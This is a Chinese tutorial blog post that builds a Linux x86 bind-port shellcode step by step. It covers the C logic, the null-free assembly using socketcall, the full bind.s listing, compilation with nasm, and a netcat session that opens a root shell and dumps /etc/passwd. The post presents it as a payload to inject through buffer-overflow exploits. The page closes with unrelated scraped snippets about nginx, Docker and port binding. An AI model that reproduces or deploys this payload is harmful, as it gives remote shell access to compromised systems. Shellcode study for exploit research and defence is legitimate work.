如何写绑定端口shellcode

前面《如何编写本地shellcode》一文介绍如何编写shellcode取得shell进行交互。本文介绍另一个例子,绑定端口的shellcode。攻击通过网络利用缓冲区溢出漏洞,注入该shellcode,那就可以能过shellcode打开的端口进行利用。

Shellcode逻辑C代码

绑定端口shellcode的逻辑很简单:打开socket,然后绑定到端口,等待远程进行链接,链接到后将0/1/2描述符都复制该socket上,再启动一个shell。 代码如下:

#include <unistd.h>

#include <sys/socket.h>

#include <netinet/in.h>

int sock, cli;

struct sockaddr_in serv_addr;

int main()

{

serv_addr.sin_family  = 2;

serv_addr.sin_addr.s_addr = 0;

serv_addr.sin_port = 0xAAAA;

sock = socket(2, 1, 0);

bind(sock, (struct sockaddr *)&serv_addr, 0x10);

listen(sock, 1);

cli = accept(sock, 0, 0);

dup2(cli, 0);

dup2(cli, 1);

dup2(cli, 2);

execve("/bin/sh", 0, 0);

}

socket系统调用

上面涉及网络操作的有几个函数:socket,bind,listen和accept,其中参数最复杂的算是bind了。其实在i586下面,这几个均不是系统调用,它们背后的是sockcall这个系统调用,原型为:

int sockcall(int call, unsigned long *args)

那么上面几个函数最终如何调用sockcall的呢? 很简单,它们是通过call这个参数来识别到底是哪个函数调用,而args就一个数组,每个元素主是上面各函数的参数列表:

比如socket(2, 1, 0) 是这样调用sockcall的:

int socket(int family, int type, int protocol)

{

unsigned long array[3] = { family, type, protocol);

return sockcall(SYS_SOCKET, array); // SYS_SOCKET值为1

}

而bind函数调用也是类似的:

int bind(int fd, struct sockaddr *addr, int len)

{

unsigned long array[3] = {fd, addr, len};

return sockcall(SYS_BIND, array); // SYS_BIND值为2

}

其实函数类似,都是将参数打包成一个数组,然后传给sockcall系统调用。

开始编写Shellcode

好,我们开始编写汇编代码。由于sockcall系统调用只有2个参数,分别占用ebx和ecx,那个edx是没有使用,可以让存放0值,在需要0的地方直接使用edx.

初始化寄存器

eax, ebx, ecx在汇编代码中分别表示系统调用号、第一参数和第二参数,需要清零,同时edx需要长期保持为零。

BITS 32

xor eax, eax

xor ebx, ebx

cdq                   ;将edx清零

编写socket函数

socket(2, 1, 0) => sockcall(1, [2, 1, 0]) 其中2, 1, 0是数组元素,宽度为byte。因此分别将0, 1, 2压到栈上(栈向低地址生成,所以先压尾巴。

push    edx

push    byte 0x01

push    byte 0x02

此时的栈底就是[2, 1, 0]数组的地址,为sockcall的第二参数(ecx),故直接将esp值赋给ecx:

mov     ecx, esp

第二参数ebx目前值为0,需要增加1,才能变成2

inc     bl

sockall系统调用号为102,需要给eax赋值,然后进行系统调用:

mov     al, 102

int     0x80

系统调用返回后,它的返回值( 后面要使用文件描述符)存放在eax中,由于后面的系统调用要使用eax来存放调用号,因此需要把该sock存放到不使用的寄存器esi中:

mov     esi, eax

bind系统调用

说实话,bind系统调用应该是最难写的一个了。首先看一下struct sockaddr_in serv_addr 变量地的定义:

struct sockaddr_in {

u16sin_family;                            // 本例赋值为0x02

u16 sin_port;                               //  本例赋值为0xAAAA

u32 sin_addr;                              // 本例赋值为全零,表示本机所有地址

unsigned char sin_zero[8];        // 要求为全零

};

先压sin_zero[8],8个字节全零:

push    edx

push    edx

接着是sin_addr,4个字节全零

push    edx

接着是sin_port,2字节,值为0xAAAA

push    0xAAAA

最后是sin_family,2字节,值为0x0002,但不能直接push,因此这样会生成包含零字节指令。借用ebx值为1,先加1,再压到栈上:

inc     bl

push    bx     ; 只压2字节

OK, 整个serv_addr变量压到栈上了,它的地址为 esp,先要把该地址保存出来:

mov     ecx, esp

还记得bind是如何调用sockcall的吗?

sockcall(SYS_BIND, [sock, &serv_addr, 0x10])

刚才只是将serv_addr压到栈上,同时将它的地址暂时保存到ecx上,为了调用sockcall系统调用来实现bind函数,还需要将[sock, &serv_addr, 0x10]  这个数组压到栈上。记得是从尾巴压起:

push    byte 0x10           ; 0x10

push    ecx                      ; &serv_addr

push    esi                       ; sock

压完后,esp就是数组地址,作为系统调用第二参数,应该保存到ecx中:

mov     ecx, esp

第一参数SYS_BIND值为2,刚好ebx值也为2,不需要重新赋值,直接进行系统调用:

mov     al, 102

int     0x80

listen系统调用

最复杂的bind办妥了,listen只不过是小菜一碟,直接上代码,加上注释:

listen(sock, 0)  => sockcall(4, [sock, 0])

push    edx                   ; 0

push    esi                     ; sock

mov     ecx, esp            ;sockcall第二参数,[sock, 0]数组地址

mov     bl, 0x04            ; 4, sockcall第一参数

mov     al, 102

int     0x80

accept系统调用

同样也比较简单,请看注释:

cli = accept(sock, 0, 0)  => cli = sockcall(5, [sock, 0, 0])

push    edx               ; 0

push    edx               ; 0

push    esi                ; sock

mov     ecx, esp       ; [sock, 0, 0]地址,为sockcall系统调用第二参数

inc     bl                   ; 前一系统调用bl值为4,加1后为5,是系统调用第一参数

mov     al, 102

int     0x80

accept返回的是客户端的fd,后面的dup2操作都是围绕它来的,需要将该返回值保存出来,在后面的dup2中,该返回值作为第一个参数,直接将它保存在ebx中:

mov     ebx, eax

dup2系统调用

不用担心了,dup2是一个标准的系统调用,从它开始,就不需要构造数组做为参数了,可以松一口气了。为了减少shellcode长度,使用循环来实现3次的dup2系统调用:

; dup2(cli, 0)

; dup2(cli, 1)

; dup2(cli, 2)

xor     ecx, ecx

mov     cl, 3

loop:

dec     cl

mov     al, 63

int     0x80            ; ecx分别是:2, 1, 0,ebx为cli

jnz     loop

execve系统调用

还记得之前产生字符串的技巧吗? 直接将字符串的内容压到栈上,不要忘了从尾巴压起,同时要先压零,让字符串有结束符:

; execve("/bin/sh", 0, 0)

push    ecx                               ; dup2完后,ecx值为零,这里先压字符串结束符

push    long 0x68732f6e

push    long 0x69622f2f       ; 这两句将"//bin/sh"字符串压到栈上

mov     ebx, esp                     ; 字符串地址,作为系统调用第一参数,放到ebx

mov     edx, ecx                     ; ecx值已为零,作为系统调用第二参数;同时赋给edx,系统调用第三参数

mov     al, 0x0b

int     0x80

完整的编汇代码

我们将该汇编代码放到bind.s文件内:

BITS 32

xor eax, eax
xor ebx, ebx
cdq

; soc = sockcall(1, [2, 1, 0])
push    edx
push    byte 0x01
push    byte 0x02
mov     ecx, esp
inc     bl
mov     al, 102
int     0x80
mov     esi, eax        ;store the return value(soc)

; serv_addr.sin_family = 2
; serv_addr.sin_addr.s_addr = 0
; serv_addr.sin_port = 0xAAAA
; bind(sock, (struct sockaddr *)&serv_addr, 0x10)
; => sockcall(2, [sock, &serv_addr, 0x10])
push    edx
push    edx
push    edx
push    0xAAAA
inc     bl
push    bx
mov     ecx, esp
push    byte 0x10
push    ecx
push    esi
mov     ecx, esp
mov     al, 102
int     0x80

; listen(sock, 0)
; => sockcall(4, [sock, 0])
push    edx
push    esi
mov     ecx, esp
mov     bl, 0x04
mov     al, 102
int     0x80

; cli = accept(sock, 0, 0)
; => cli = sockcall(5, [sock, 0, 0])
push    edx
push    edx
push    esi
mov     ecx, esp
inc     bl
mov     al, 102
int     0x80
mov     ebx, eax

; dup2(cli, 0)
; dup2(cli, 1)
; dup2(cli, 2)
xor     ecx, ecx
mov     cl, 3
loop:
dec     cl
mov     al, 63
int     0x80
jnz     loop

; execve("/bin/sh", 0, 0)
push    ecx
push    long 0x68732f6e
push    long 0x69622f2f
mov     ebx, esp
mov     edx, ecx
mov     al, 0x0b
int     0x80

编译和测试

使用nasm编译器进行编译:

$ nasm -o bind bind.s

然后使用之前写的sctest32测试工具进行测试。

运行Shellcode:

$ sctest32 bind

打开一个新端终,通过网络与Shellcode打开的端口进行连接,然后获取Shellcode,通过cat /etc/passwd命令获取系统帐号信息:

$ netcat localhost 43690

cat /etc/passwd                                       <-------------用户输入

root:x:0:0:root:/root:/bin/bash                <-------------Shellcode输出

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

......

只要运行了绑定端口Shellcode,攻击者主可以通过sh来控制整个系统。

小结

这里介绍的绑定端口Shellcode没有什么新新鲜的玩意,只是i586上的socket/bind/listen/accept不是真正的系统调用,需要做转换而已。难点是serv_addr结构如何压在栈空间上。这里使用的技巧和以前是完全一样的。

时间: 2024-08-06 09:34:49

如何写绑定端口shellcode的相关文章

nginx 域名绑定 域名, nginx 域名绑定 端口

一.nginx 域名绑定 域名 nginx绑定多个域名可又把多个域名规则写一个配置文件里,也可又分别建立多个域名配置文件,我一般为了管理方便,每个域名建一个文件,有些同类域名也可又写在一个总的配置文件里.一.每个域名一个文件的写法       首先打开nginx域名配置文件存放目录:/usr/local/nginx/conf/servers ,如要绑定域名www.itblood.com 则在此目录建一个文件:www.itblood.com.conf然后在此文件中写规则,如: server{ li

python写的端口扫描脚本

今天看到群里哥们发了一个需求,如下: "如何批量检测一批主机的端口,是否存在,端口都是对外的",感觉不难,就用py写了个小脚本,有问题的地方,还望大家指出,谢谢! #!/usr/bin/env python import socket file = "C:\Users\Administrator\py_demo\ip.txt" port = 80 a = open(file, 'r') b = a.readlines() a.close() for i in b:

如何解决飞秋FeiQ绑定端口错误

今天启动feiQ居然报错,绑定端口2425错误,如您正使用FeiQ或IPMsg,请先退出. error = 10049... 百度谷歌之后,本人如此解决 1.netstat -an 查看端口 2425 是否占用 果然有占用,继续 netstat -ano|find "2425" 2425 端口被 pid 为 5140的程序占用 打开任务管理器,详细信息,找到对应的pid,结束对应进城 OK,启动feiQ~ tasklist  /fi  "pid eq  xxxx"

XenServer主机添加绑定端口

1.给XenServer主机添加绑定端口,在networking中,点击"Add network",如下图所示: 2.选择"bonded network",点击下一步,如下图所示:3.选择需要绑定在一起的端口,这里我选择了3个(NIC 0.NIC 1.NIC 2),默认是active-active,如下图所示:4.已经看到添加的绑定network,Bond 0+1+2,如下图所示: 原文地址:https://blog.51cto.com/chentongsan/24

MulticastSocket绑定端口的问题

该文章由 Binkery 发布于 Binkery技术博客 http://www.binkery.com 如转载请注明出处,该文章的链接地址为 http://www.binkery.com/archives/319.html mDNS的Java实现分析 JmDNS实现了java的mDNS.在使用这个jar包开发Android应用的时候,我存在一个疑问.我使用jmDNS打开了5353这个端口,并且通过这个端口监听或者发送一些信息.那么如果有两外一个应用,它也用这个工具,使用相同的方式,使用相似的服务

利用asyncore.dispatcher写的端口转发器

创建三个继承类,PortForwarder用于监听本地,Receiver与PortForwarder套接字相连,用于接受本地请求,发给数据给远程主机,Sender与Receiver相互包含,用于接受远程主机数据和发送数据到本地.大致形成这样的关系:本地主机---PortForwarder---Receiver---Sender---远程主机 1 #!/usr/bin/env python 2 #-*- coding:utf-8 -*- 3 4 import argparse 5 import a

linux 多网卡bonding 绑定 端口聚合

将多个Linux网络端口绑定为一个,可以提升网络的性能,比如对于备份服务器,需要在一个晚上备份几个T的数据, 如果使用单个的千兆网口将会是很严重的瓶颈.其它的应用,比如ftp服务器,高负载的下载网站, 都有类似的问题. 因此使用Linux teaming或bond来绑定多个网卡作为一个逻辑网口,配置单个的IP地址,会大幅提升服务器的网络吞吐(I/O). Linux的多网卡绑定功能使用的是内核中的"bonding"模块,关于此模块可以参考Linux Ethernet Bonding Dr

[Linq Expression]练习自己写绑定

源代码:TypeMapper.zip 背景 项目中,我们会经常用到各种赋值语句,比如把模型的属性赋值给UI,把视图模型的属性拷贝给Entity.如果模型属性太多,赋值也会变成苦力活.所以,框架编程的思维中,出现了”绑定“.绑定不仅可以简化赋值,还可以结合验证,简化绑定过程中的验证. 能实现绑定的框架很多,如AutoMapper,.Net自带的绑定机制,微软官方上还有一个利用绑定的Sample,等. 那些成熟的框架一般功能全面,考虑周全,一般推荐首选.但对于一些小项目个别情况,或许它们就会显得有些

docker 容器网络绑定端口部署

docker网络基础 一. 1. 默认情况下容器可以建立到外网网络的链接但是外网网络无法连接到容器 docker允许通过外部访问容器或容器互联的方式来提供网络服务 外部访问容器可以在容器中运行网络应用可以通过-p 或 -P参数来指定端口隐射. -P:默认指定端口  -p自定义指定端口 2.dicker容器启动时会在宿主机上创建一个名为docker0的虚拟网络接口docker启动       一个容器时会根据docker0的网段划分容器的ip.每个docker容器是docker0的网关从